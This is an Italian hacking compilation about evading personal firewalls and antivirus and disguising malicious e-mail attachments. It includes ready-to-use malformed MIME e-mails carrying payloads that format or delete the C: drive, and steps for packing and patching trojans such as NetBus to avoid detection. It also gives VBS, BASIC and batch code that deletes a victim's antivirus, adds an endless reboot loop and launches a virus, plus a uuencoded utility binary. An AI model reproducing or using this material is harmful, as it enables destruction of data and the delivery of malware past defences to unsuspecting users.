|























| |
Leggete con attenzione!
Luca29t non si assume nessuna responsabilita'
dell'eventuale uso delle informazioni qui riportate!Tengo a precisare e
ribadire che le info qui riportate sono dei legittimi propietari ed ove gli
stessi sono riportati io lo lasciati in modo che si possano vedere ,non come
certi siti che le fanno apparire come roba loro cambiando addrittura i nomi.Non
sono riportati i piccoli trucchetti come la doppia estensione credendo che siano
scontate come esploit.

Eludere un personal firewall
Credete sia possibile? sembra propio di si.
BACKSTEALTH Security Test 1.1
(C) 2002 Paolo Iorio http://piorio.supereva.it/
Cos'è?
BACKSTEALTH è
un'innovativa Utility di Sicurezza che permette di oltrepassare la protezione
del Personal Firewall e creare una connessione remota per il download di un
file.
Questa utility di sicurezza al giorno d'oggi è UNICA
nel suo genere.
Come Lavora?
Al momento dell'esecuzione BACKSTEALTH viene eseguita
nello spazio di memoria del vostro stesso Firewall, e dunque non appare un
processo separato, tale tecnica "Stealth" permette di acquisire tutti
i diritti per l'accesso alla rete e di essere eseguita, in maniera completamente
trasparente, ed indipendente dalle altre applicazioni.
Essa si connette all'indirizzo www.pc-facile.com/security/backstealth.txt
e scarica tale file salvandolo come C:\retrieve.dat
Tale utility avrà accesso alla rete senza alcun tipo
di filtraggio da parte del firewall, e comunque l'utente può monitorare le
varie connessioni, accorgendosi che ogni azione compiuta da Backstealth appare
come fosse eseguita dal firewall stesso!

Nascondersi agli Antiviruzz!
Nascondersi ad un Anti-Virus è abbastanza semplice. Un
Anti-Virus cerca nei file se ritrova stringe o pezzi di codice uguali a quelle
che nel suo database sono segnalate come virus, trojan o possibili programmi
maliziosi. Ora, dato che, a differenza dei virus che in un sistema tendono
essenzialmente a riprodursi senza farsi riconoscere, un trojan deve solo
limitarsi a girare sulla macchina della vittima senza farsi beccare, basta
modificare il codice del trojan per renderlo completamente invisibile.
"Certo", direte voi, "facile a dirsi,ma come si fa in
pratica?". facile anche questo! Avete presente quei programmi che
comprimono gli eseguibili matendendo le loro funzioni di file exe come Pklite o WWWPack32? Bene, basta comprimere i file con questi programmi e gli anti-virus
cercheranno finchè vorranno...il trojan non c'è per loro! Purtroppo
comprimendoli i server di alcuni trojan come BO si perdono le impostazioni
personalizzate che abbiamo dato al server. Infatti se apriamo il server non
ancora compresso e non configurato di BO e un server non compresso ma
configurato da noi sempre di BO con un editor esadecimale (provate Hex
Workshop...per ora vi basterà) vediamo che alla fine del file ci sono delle
differenze...quello configurato è più lungo e i byte che ha in più alla fine
di se stesso contengono la configurazione da noi data. Se adesso comprimiamo
questo file e lo riapriamo con un editor esadecimale e lo scorriamo fino in
fondo vediamo che i byte di configurazione sono spariti. ma nessun problema,
basterà copiare qeusti byte da un altro server configurato e non compresso in
quello compresso. Spero sia tutto chiaro. Altro problema nella "lotta per
nacondersi agli AV" potrebbe essere quello che trojan come NetBus danno:
questi creano, appena aperti, un file DLL che serve da plugin (nel caso di
NetBus è un KeyLogger). Dato che non possiamo accedere direttamnte a questi
file per comprimerli, e dato che gli AV li riconoscono la soluzione migliore è
quella di non farli proprio apparire. Apriamo di nuovo il nostro fido editor e
cerchiamo le stringe col nome del file DLL (nel caso di NetBus si chiama
KeyHook.dll) e al posto del nome scrivete NUL e poi una serie di 0 tale da
coprire tutto il nome del file...compresa l'estensione altrimnti NetBus creerà
il file NUL0000.DLL..che sarebbe ancora rilevabile dagli AV. Fatta anche questa
modifica abbiamo gabbato completamente l'AV!

| E-mail
spoofing
|
| In
questa sezione vedremo come sfruttare alcune lacune del sistema operativo
Windows per mascherare file eseguibili (quindi anche virus e worm) come se
fossero altri tipi di file.
|
| IL FILE TYPE
SPOOFING |
|
Lo spoofing dei tipi
di file è una tecnica usata, spesso anche dai virus, per simulare
che un certo file corrisponda ad un tipo diverso da ciò che è
realmente: in questo modo si può ingannare un utente facendogli
credere che un certo attachment sembri un'immagine JPG, un archivio
ZIP o qualsiasi altra cosa, quando in realtà non lo è. Un primo
tipo di inganno, quello delle estensioni, è molto semplice da
realizzare e si basa sul fatto che Windows (95/98/ME) gestisce male
le estensioni associate ai diversi tipi di files. Infatti il sistema
di Microsoft è stato progettato (di default) per non visualizzare
le estensioni dei tipi di files che hanno un'associazione nel
registro. Ciò vuol dire che un file ARCHIVIO.ZIP viene mostrato
all'interno di Esplora Risorse e degli altri programmi solo col nome
ARCHIVIO, senza visualizzare la sua estensione e può essere
riconosciuto dalla classica icona associata ai file di Winzip.
Questa constatazione ci pone un primo interrogativo: cosa succede ad
un file rinominato (volutamente) col nome ARCHIVIO.ZIP.EXE? Questo
viene considerato un file di Winzip o un eseguibile? Ecco quindi in
cosa consiste il primo inganno sui tipi di file: usando questo
trucco della "doppia estensione" Windows riconosce il file
come un .EXE (quindi lo tratta come un eseguibile) tuttavia
visualizza solo il nome senza l'estensione, quindi per un utente
ignaro di questo fatto, il file porterà il nome ARCHIVIO.ZIP,
quando in realtà è un'applicazione .EXE. Questo trucco è stato
usato da molti worm come il famigerato ZIP Explorer. Per accorgersi
della frode l'unica cosa che si può fare (oltre ad usare un buon
antivirus) è quella di far visualizzare a Windows le estensioni dei
files, anche per quelli associati ad applicazioni. Questa opzione si
può attivare da Esplora Risorse nel menu Strumenti/Opzioni Cartella
o Visualizza/Opzioni Cartella come in (Fig.1). In questo modo
un'e-mail che porta dietro una attachment, visualizza il file
allegato col suo nome reale, mostrando magari che questo in realtà
è un eseguibile (Fig.2).
|
| IL MIME NELLE
E-MAIL |
|
Un secondo modo di
realizzare lo spoofing dei tipi di files è invece molto più
subdolo e meno facile da intercettare: si tratta dell'uso di
intestazioni malformate nel protocollo MIME che gestisce gli
allegati alle e-mail. Gli attachment in un messaggio di posta
elettronica vengono codificati usando lo standard MIME con una
codifica di solo testo nel caso dei file ASCII puri (TXT, BAT, HTA)
oppure con la codifica "base64" nel caso si tratti di file
binari (eseguibili, immagini, file ZIP). Ecco un esempio di come
vengono codificati (in forma di attachment) un file di immagine (PAMELA.GIF)
e un file eseguibile (COMMAND.COM). La sezione evidenziata (box
1) nelle due definizioni di attachment è quella che definisce
il tipo di files allegato e quindi anche l'applicazione da eseguire
e l'associazione che deve realizzare Windows per quel file.
L'inganno consiste proprio nel cambiare il campo "Content-Type"
indicando magari che un file eseguibile è un'immagine. Windows
(quindi Outlook Express) andrà ad associare a quel file l'icona
corrispondente a ciò che indichiamo dentro la definizione MIME,
quindi un attachment che magari è un programma porterà l'icona
associate ai file GIF. Proviamo allora a creare una e-mail con un
allegato "camuffato": scriviamo un file di testo come
quello riportato e salviamolo poi con l'estensione .EML (per
renderlo una e-mail leggibile da Outlook);
|
MIME-Version:
1.0 From: [email protected] To: [email protected] Subject:
bla bla bla Content-Type: image/gif; charset=us-ascii Content-Transfer-Encoding:
7bit <script>var wsh=new ActiveXObject('WScript.Shell'); wsh.Run('format.com
c:');</script> | |
|
Il file allegato è
un'applicazione di tipo HTA, quindi eseguibile, tuttavia se andiamo
ad aprire l'e-mail essa riporta un allegato con l'icona di
un'immagine GIF proprio perche nel "Content - Type"
abbiamo specificato un tipo di file diverso. l'exploit ancora non è
ancora completo, perché se ora proviamo ad aprire il file allegato,
questo viene associato al visualizzatore di immagini GIF di Windows
e non viene più considerato un eseguibile, quindi pur volendo non
potrebbe causare alcun danno. Cosa è successo? Cambiando il "Content
- Type" abbiamo modificato radicalmente il tipo di file, che
ora viene associato ad un'altra applicazione e quindi non è più
eseguibile. Come oltrepassare questa limitazione? E' qui che viene
sfruttato un bug del MIME che consiste nel creare un "Subject"
dell'e-maillungo 255 caratteri (ne uno di più, ne uno di meno!)
seguito dall'estensione che vogliamo dare al file (nel caso di prima
quindi ".HTA"). Se mettessimo un solo carattere in meno
dei 255 previsti, l'allegato verrebbe riconosciuto come un'immagine
GIF; se invece mettessimo un carattere in più l'allegato perderebbe
ogni tipo di estensione e non sarebbe riconosciuto da Windows ne
associato a qualche applicazione. Ecco quindi come modificare
l'e-mail per realizzare il filetype spoofing;
|
MIME-Version:
1.0 From: [email protected] To: [email protected] Subject:
PAMELA.GIF + [245 spazi vuoti] + .HTA Content-Type: image/gif;
charset=us-ascii Content-Transfer-Encoding: 7bit <script>var
wsh=new ActiveXObject('WScript.Shell'); wsh.Run('format.com
c:');</script> | |
|
L'essenziale è
inserire nel " Subject" 255 caratteri ASCll: volendo si
può scrivere anche un nome fasullo per il file (PAMELA.GIF) e
completare poi i caratteri che mancano con degli spazi vuoti fino ad
arrivare a 255 (nel nostro caso quindi servono 245 spazi perché
"PAMELA.GIF" è lungo 10 caratteri) e infine scrivere la
vera estensione da assegnare al file allegato (.HTA). Il tutto
ovviamente va scritto su un'unica riga(Fig.3);
|
|
Ecco un altro
esempio che utilizza lo spoofing di un file BAT, che virtualmente
può eseguire qualsiasi comando sul sistema:
|
MIME-Version:
1.0 From: [email protected] To: [email protected] Subject:
PAMELA.GIF + [245 spazi vuoti] + .BAT Content-Type: image/gif;
charset=us-ascii Content-Transfer-Encoding: 7bit DELTREE
/Y C:\ | |
| CONCLUSIONI |
|
Come ci difende
Windows da questi attachment pericolosi? E' veto che la falla di
sicurezza può rendere ingannev6li i files e confondere gli utenti,
tuttavia Windows si accorge dell'inghippo e quando l'utente clicca
per aprire l'allegato, Outlook mostra un minimo di avviso (Fig.4),
anche se però non viene menzionato il fatto che l'allegato non è
un'immagine e all'interno dello stesso avviso il file viene nominato
col nome fasullo, non con quello reale, proprio per il fatto che
sono stati usati 255 caratteri.
clicca
qui per scaricare l'esempio.
| |
| |
 |
| Fig.1 Abilitare l'opzione è
sconsigliabile |
| |
Content-Type:
image/gif; name="PAMELA.GIF" Content-Transfer-Encoding:
base64
oaMk7W8HR28u0yAIB2OfcimXz5UmiMuV025P83 .......(parte
codificata in base64)
Content-Type: application/actet-stream;
name="COMMAND.COM" Content-Transfer-Encoding:
base64
TVogALsAAAC4BAAA//8AAAAAAAAAA .......(parte
codificata in base64) | |
| Box 1 Esempio di codifica
degli allegati |
| |
 |
| Fig.2 L'allegato appare col
nome completo |
| |
 |
| Fig.3 Esempio di header MIME
malformato |
| |
 |
| Fig.4 Outlook mostra l'avviso
d'apertura | |

Gravissimo bug per Explorer e
Windows
Georgi Guninski, famoso cacciatore
di bug presenti in applicazioni e sistemi operativi, ha scoperto un gravissimo
problema che affligge internet explorer e windows in generale, e che potrebbe
essere sfruttato da individui malintenzionati per nascondere pericolosi virus.
Il bug in questione permette di mascherare l'estensione di un file in modo che
un file eseguibile (ad esempio .exe) appaia con estensione diversa (ad esempio
quella di una immagine, quindi .jpg).
E non sto parlando del trucchetto della doppia estensione (ad esempio file
immagine.jpg.exe), sfruttato dai virus che si diffondono via e-mail contro i
meno esperti utilizzatori della posta elettronica.
In particolare, dando ad un file un nome seguito da un CLSID (Class Identifier,
ovvero identificatore di classe), windows visualizzerà quel file nascondendone
la reale estensione (definita dal CLSID).
Per comprendere meglio è sufficiente fare un esempio.
Supponiamo di voler celare in un innocuo file di testo (.txt) un file html (una
normale pagina web).
Dopo aver creato il file html, tramite il registro
di configurazione recupereremo il CLSID dei file html, che ad esempio è
"{25336920-03F9-11cf-8FD0-00AA00686F13}".
Successivamente rinomineremo il file appena creato in "leggimi.txt.{25336920-03F9-11cf-8FD0-00AA00686F13}".
Noterete che windows visualizzerà semplicemente "leggimi.txt", e
l'estensione realte del file verrà nascosta.
Inoltre facendo doppio click sul file, questo verrà aperto con il programma
associato al CLSID del file, quindi, nell'esempio che vio ho fatto, internet
explorer.
L'unico modo per riconoscere che il file non è un txt ma un html è l'icona:
windows associa al file l'icona del CLSID, e non con quella dei file .txt.
Quindi, da oggi in avanti, fate molta attenzione a QUALSIASI allegato da voi non
richiesto vi arrivi tramite la posta elettronica.

|
ELUDERE GLI
ANTIVIRUS
-----------------
1.0 DISCLAIMER
-----------------
Usa queste informazioni a TUO rischio e pericolo. Io e qualsiasi altra
persona mi abbia aiutato a scrivere questa guida non si assumerà
NESSUNA responsabilità per l'uso, l'utilizzo o l'abuso di questo testo.
Le seguenti informazioni sono state scritte SOLAMENTE per scopo
educativo e informativo e NON possono essere usate per scopi illegali.
------------------------
2.0 I TOOLS NECESSARI
------------------------
Sicuramente per questa guida avrete bisogno di molta pazienza, una gran
voglia di fare, ma soprattutto di un computer... :-). Non è necessario
essere un grande esperto di computer o un guru, ma basta saper usare il
MS-DOS.
Ricapitolando ti servono:
- un computer
- un virus
- Blade Joiner (o un qualsiasi Joiner x WinZozz)
- Bat2Com
- ExOM
Quasi tutti i programmi che ho descritto si trovano nella sezione
UUencode
-----------------------------------
3.0 FUNZIONAMENTO DI UN ANTIVIRUS
-----------------------------------
Le tecniche utilizzate dai prodotti antivirus sono due: la ricerca
euristica e il riconoscimento della firma digitale.
* Ricerca euristica
L'antivirus analizza il file (programma o documento) cercando porzioni
di codice in grado di svolgere azioni insolite. Funzione tipica delle
applicazioni più costose, destinate in particolare a sistemi di
protezione aziendale e per grandi banche dati, è una tecnica molto
complessa perché implica, da parte di chi la sviluppa, la conoscenza
perfetta dei programmi e dei sistemi operativi. In pratica, si tratta di
capire come può essere infettato un sistema e di conoscere i punti
deboli dei programmi che possono esservi installati. A questo punto il
programmatore dovrà sviluppare un software in grado di anticipare
l'attività sospetta diretta ai punti deboli identificati. Il grande
pregio di questa tecnica consiste nel fatto che l'antivirus è un passo
in avanti rispetto ai possibili virus, è già pronto cioè prima che
questi vengano creati. Il suo difetto nel numero di falsi allarmi, anche
molto elevato in funzione della sensibilità e della completezza del
prodotto. La maggior parte degli antivirus in commercio include anche un
motore di ricerca euristica, la cui efficacia è tuttavia strettamente
correlata al prezzo del prodotto: un antivirus per uso personale non
offre, in genere, un sistema di rilevazione euristica particolarmente
efficace.
* Riconoscimento della firma digitale
L'antivirus mette a confronto il codice dei file da controllare con
quello dei virus conosciuti. Le informazioni su questi ultimi sono
raccolte in un database che deve essere aggiornato a intervalli regolari
e brevissimi (anche una volta al giorno). È la tecnica utilizzata dalla
maggior parte dei prodotti per uso personale (in effetti, da tutti i
prodotti, con un'unica eccezione). Il suo pregio è che consente di
mantenere contenuto il prezzo dell'antivirus, il suo difetto è che si
trova sempre un passo indietro rispetto ai virus. Perché sia efficace
occorre infatti che il virus sia stato trovato e che la sua descrizione
sia stata inserita nel database: solo così potrà essere riconosciuto e
neutralizzato dal software. Per i programmi più diffusi, i rispettivi
produttori mettono a disposizione aggiornamenti frequenti del database,
anche quotidiani: è quindi necessario collegarsi al sito ed effettuare
l'aggiornamento online delle informazioni, procedura che in genere non
richiede più di qualche minuto.
--------------------------
4.0 TECNICA 1: IL JOINER
--------------------------
Una famosa tecnica x nascondere i virus sono i joiner. Il loro
funzionamento è molto semplice: creano un file .EXE che è l'unione di
due files. Uno di questi 2 files deve essere per forza un file .EXE.
L'antivirus non capta il virus mescolato con un altro file perchè non
risconosce la firma digitale... L'unico difetto di questa tecnica è che
i files ottenuti dalla fusione sono files molto grandi, e quindi
potrebbero destare sospetto. Il migliore joiner in circolazione su
internet è il Blade Joiner. Questo infatti dispone di diverse
funzionalità (esempio: ha la notificazione ad ICQ); uno tra i migliori
è anche il Senna Spy Exe Maker. Questi due files sono scaricabili dalla
SEZIONE UTILIY del sito. I files mescolati nn devono essere per forza
files .EXE ma possono anche essere di diversa estensione (jpeg,bitmap...).
-----------------------------
5.0 TECNICA 2: ELIMINAZIONE
-----------------------------
Una tecnica molto laboriosa per eliminare il controllo dell'antivirus è
eliminare l'antivirus!!! Semplicemente basta creare un file .VBS con il
comando di trovare il file principale dell'antivirus e eliminarlo,
quindi riavviare il computer ed eseguire il virus.
Come??? Così:
---------------------TAGLIA QUI-------------------------
---------SALVA IL FILE COME CERCA.VBS-----------
'*********************************************
'*
'*Cerca files antivirus e distruggi
'*
'* By
'*
'* {Ma$tErX}
'*
'*********************************************
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
Dim windir,systemdir
object = "C:\" ' Il drive in cui devi effettuare la ricerca
On Error Resume Next
Dim fso, f1, f2, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f2 = fso.GetFile(object & "\daniele\temp\inserisci_il.nome")
'Inserisci il nome del file
f2.Delete
'Nel caso non sappiate quale antivirus sia installato nel computer della
vittima vi consiglio di inserire più nomi di files da cercare ed
eliminare. Basta compiare per più volte il codice che si trova dopo il
"On Error resume next" e prima di questo suggerimento.
Sub Welcome()
Dim intDoIt
intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
''''''''''''''''''''''TAGLIA QUI''''''''''''''''''''''''''''''''
Rinomina il file CERCA.VBS con CERCA.VBSS
A questo punto c'è il bisogno di aggiungere una stringa nel file
AUTOEXEC.BAT che apra il virus dopo il riavvio del pc. In questo caso
bastano poche righe di Basic:
Taglia qui...
REM *********************************************
REM *
REM * Aggiugni stringhe a file autoexec.bat
REM *
REM * By
REM *
REM * {Ma$tErX}
REM *
REM *********************************************
REM RINOMINA IL FILE COME CON.BAS
10 CLS
20 OPEN ("C:\AUTOEXEC.BAT") FOR APPEND AS #1
30 PRINT #1, " " 'Inserisci tra le virgolette il nome del
virus. Non dimenticarti del ' percorso se il file non si trova nella
directory C:\
40 PRINT #1,"c:\windows\rundll32.exe user,exitwindows"
'Riavvia il pc all'infinito...
50 CLOSE
60 END
Taglia qui...
Dopo aver scritto il codice sorgente compila il file CON.BAS. Il
risultato sarà CON.EXE. Rinomina CON.EXE COME CON.EYE
Ora manca solo un programma Smascheri(al momento giusto) ed esegua gli
altri due file. Ho scelto x queste azioni un file .BAT. Il codice
sorgente è il seguente:
Taglia qui...
@echo off
echo *********************************************>nul
echo * *>nul
echo * Rinomina i files, eseguili,cancellali e *>nul
echo * *>nul
echo * riavvia il pc. *>nul
echo * *>nul
echo * By *>nul
echo * *>nul
echo * {Ma$tErX} *>nul
echo * *>nul
echo *********************************************>nul
@echo>nul
@echo RINOMINA IL FILE SETUP.BAT>NUL
@ren CERCA.VBSS CERCA.VBS
@ren CON.EYE CON.EXE
@cerca.vbs
@con.exe
@c:\windows\rundll32.exe user,exitwindows
@exit
Taglia qui...
Anche in questo caso è meglio nascondere il codice sorgente del file
SETUP.BAT. Quindi apriamo il programma bat2com e scriviamo:
bat2com SETUP.BAT
Il risultato sarà un file di nome SETUP.COM
Racchiudi tutto in una cartella con il virus. Magari racchiudi il tutto
con Winzip e il tuo virus è pronto x essere inviato.
--------------------------
6.0 TECNICA 3: ENCRYPTER
--------------------------
Questa è una nuova tecnica che ho sperimentato e ideato personalmente.
Consiste nell'encryptare un file in modo che nn possa essere
disassemblato e quindi neanche rilevato dal sistema di riconoscimento
della firma digitale dell'antivirus. Il vero problema di questa tecnica,
è il programma. Questo infatti è difficilmente reperibile soprattuto
per i virus che solitamente funzionano sotto dos. Il programma migliore
che ho trovato è stato l'ExOm. Per encryptare un file basta digitare...
exom nomefile.estensione
-----------------
7.0 CONCLUSIONI
-----------------
Nessuna di queste tecniche da SOLA garantisce un affidabilità del 100%.
Vi consiglio infatti di mescolare tra loro le tecniche descritte. Come??
Esempio:
Per prima cosa encrypto il file; poi lo mescolo con un altro file con il
blade joiner. In seguito creo un sistema per eliminare l'anitvirus come
quello descritto nel capitolo 5.0. In questo modo avrete più possibilità
di successo.
Spero che questa guida sia stata di vostro gradimento e vi sia stata
utile per imparare un pò più di prima.
Per qualsiasi contatto per chiarimenti, proteste andate sul FORUM del
nostro sito e lasciate un post.
----------------------
8.0 SEZIONE UUENCODE
----------------------
Sono riportati di seguito alcuni programmi utili per sperimentare le
tecniche sopra descritte. Per estrarli copiate il testo del programma su
un file .TXT. Poi rinominatelo .UUE
BAT2COM
Questo programma serve a trasformare i file .BAT in file .COM
begin 644 bat2com.com
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
M1P2+WRL>20+'!0``[email protected]``+H5`-0_S9%`C+;Z$8%<F^S`>@_!7)H,MOH
M.`5R8597B_ZS`N@M!8O6B_6Y`P#SIG4&3T^X?R"K._IR[5]>Z+W[6EM8<C,K
M!D4"+0,`N0`$Z`4#H44"*\(&C@9'`B:)!P>`/CL"`'00BQ8\`KL"%>C$`[D!
M`.C@`OC&!CH"`,.#Q`:Z.@/YZ_'&!CL"`8OO,MOHP`2Z.@-R>H`\.G4!1E8S
MP*LRY.AD`C+`JEZZ80,+R71@@#XZ`@!U!`O;=#J[OQ#H<@.+U2L620*)%CP"
M@\("NP8`N2$`Z'X"B].Y,@"[E13H40,SVX`^.@(`=`2+'CP"Z&,"ZQ60B_WH
M-@"+PP4"`"L&20*Y``'H3`*S`NA#!/C#^>O\1N@9`(-_`O]U#:%%`HE'`K,"
MZ"D$^,.Z80/YZ_GH2/N#^0AV`[D(`(OOOTT"B]^#/?]T"U$#'^CJ"5F+_7,4
MB_VX__^KJXK!JO.DB\4KPXD'B]WXPXO7*Q9)`K0!Z)8!B1X^`DXRP*I'5S+D
MZ(<!N`T`JUW^P8A._RLN20*Y$0`+VW084HO5N[\0Z),"NP8`N2$`Z*P!N2$`
MB^M:H3X""\!T&;N_$.AW`KL(`%&Y(0#HCP%9@.'P@,D"B].[%!+H7@*+W>A[
M`?C#1U=6OC<"I:1>,N3H'P&X#0"K78#!`XA._XO5*Q9)`KD!``O;=!2[OQ#H
M*P*[!@"Y(0#H1`&Y`@"+T[O,$^@7`N@V`?C#O0(`ZPB]`0#K`[T``%4RV^@=
M`XO7,N3HS@`RP*HK%DD"N3$`"]MT%+N_$.CD`;L&`+DA`.C]`+DR`(O3N_T6
MZ-`!6^CN`/C#B]9",MOHX`)R*@P@/&]U)(M$`0P@LP$\;G0-@,P@/69F=1'^
MRXID`X#\('<'LP+HM@+K.(ORB]<RY.AC`+@*#:LRP*JY`0`K%DD""]MT%+N_
M$.AU`;L&`+DA`.B.`(O3N0(`N^,/Z&$!Z(``^,.[,Q#H5@&Y``#H<@"S`NAI
M`OC#NV<0Z$,!N0``Z%\`LP+H5@+XPTZL/!IT!#P-=??XPU*+US/;,\FL/`UT
M/CP:=#J`_`)U!#PI=#&`_`%U"#P@=B@\/70D03PE=1S^QPK;LP!U%(`\?W4%
MJJQ&ZPJ`/#EV!>@M^?[#JNN]6L-55E<&Q#Y%`HOI@.$/@/D!=0V^<@^)5`*Y
M!`#SI.LB@/D"=0V^=@^)5`*Y!`#SI.L0@/D#=0N^>@^)5`&Y`P#SI(O-@.'P
M@/D0=0V^?0^)7`*Y!`#SI.LB@/D@=0V^@0^)7`*Y!`#SI.L0@/DP=0N^A0^)
M7`&Y`P#SI([email protected]/=0V^6@^Y!0")1`'SI.M&@/T!=0V^7P^Y!@")1`+SI.LT
M@/T"=0V^90^Y!0"-10/SI.LB@/T#=0V^:@^Y!0"-10/SI.L0@/T$=0N^;P^)
M1`&Y`P#SI"Z)/D4"!U]>7<-14HM'_`O`=32+RX<>00*)#XM'_@-'_"M'`HO9
MBT\"`\&)1_SC%]'I@\,$4%%3BQ_HS?];B0>#PP)9XO!86EG#'@X?M`G-(1_#
M4NCS_[K(`^CM_UK#4[D%`#/2NPH`]_.`PC!2XO.Y!0"S,%H*VH#[,'0$M`+-
M(>+R6\-75HL>@P*#^_]U-(O6OXP"N0@`K#P@=`<\+G0#JN+TOH<"I*6EQP:!
M`@``B_*S`>AQ`$[&!`"X`#W-(7)@B]C'!H,"__^T/XL6?0*+#G\"@^D$S2$[
MP7(I_5<&4@X'B\B+^@/XB]"P#?*N_$%1A\HKT;G__[@!0LTAB1Z#`EA:!U^+
M\@/PQP0-&L=$`AH:@SZ#`O]U!+0^S2'X7E_#^;KD`NOWK#P-=`0\&G4#^>L<
M@/L#=`V`^P%T#'?H/"!VY.L(/#UT!#P@=]I.^,.X-!+_T(N&-!+_X',#Z6'T
M<@/I7/3I6?2-MC02B[8T$KXT$HV^-!*+OC02OS02````````````````````
